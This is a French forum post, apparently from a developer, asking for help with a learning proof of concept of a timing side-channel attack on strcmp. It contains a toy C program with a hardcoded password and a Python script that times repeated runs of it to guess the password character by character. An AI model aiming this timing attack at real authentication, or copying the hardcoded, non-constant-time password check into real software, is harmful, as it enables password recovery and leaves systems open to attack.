Bonjour,

je voudrai réaliser un PoC d'une timing-attack sur un strcmp en c. Cette attaque est relativement simple et répandu :

- La fonction strcmp compare caractère par caractère les deux strings. Dès qu'un caractère est différent elle retourne l'index.

- En calculant la différence de temps d'exécution on arrive à trouver quel est le caractère utilisé. Cela se fait beaucoup plus rapidement qu'un attaque par bruteforce.

J'ai essayé de le faire en python. Le code binaire que j'appelle prend un seul argument le mot de passe.

Code binaire :

Code : Sélectionner tout - Visualiser dans une fenêtre à part
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#include <stdio.h>
#include <string.h>
 
int main(int argc, char* argv[])
{
	char* password = "hello";
 
	if (strcmp(password, argv[1]) == 0)
	{
		printf("Hello\n");
	}
	else
	{
		printf("GO OUT\n");
	}
 
	return 0;
}

Et le code python que j'utilise :

Code : Sélectionner tout - Visualiser dans une fenêtre à part
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
import os
import timeit
 
password = ""
path = "./constanteTime/constanteTime"  # path du binaire.
nTest = 1000                            # nombre de repetition timer.
 
def findNextChar(_prev, _pos):
    bestVal = 0                 # Plus grand temps.
    newChar = ''                # Caractere correspondant au meilleur temps.
    for i in range(97, 123):    # Parcourt de toutes les minuscules
        global arg              # utilisation de arg en global pour le passer au timer.
        arg = "%s %s%c%s" % (path, _prev[0:_pos], chr(i), _prev[_pos+1:len(_prev)]) # Un vilain string replace manuel.
        tempVal = sendConnect() # Recupere le temps d'execution.
 
        print "%c   %f" % (chr(i), tempVal)
 
        # Update du temps.
        if tempVal > bestVal:
            bestVal = tempVal
            newChar = chr(i)
 
    return "%s%c%s" % (_prev[0:_pos], newChar, _prev[_pos+1:len(_prev)])
 
 
def sendConnect():
    global arg 
    # Get time delta.
    timer = timeit.Timer(getTime)
    return timer.timeit(nTest)
 
def getTime():
    global arg
    os.popen(arg)
 
# Lancement avec chaine de base.
print findNextChar("aaaaa", 0)
Je suis censé récupérer des différences de temps d'exécution très courte (quelques ms/ns), mais avec cette méthode je trouve des temps important (jusqu'à 2 secondes avec 1000 itérations).

Comment faire pour calculer un temps plus précis pour l'exécution de os.popen() ?

Merci de votre aide.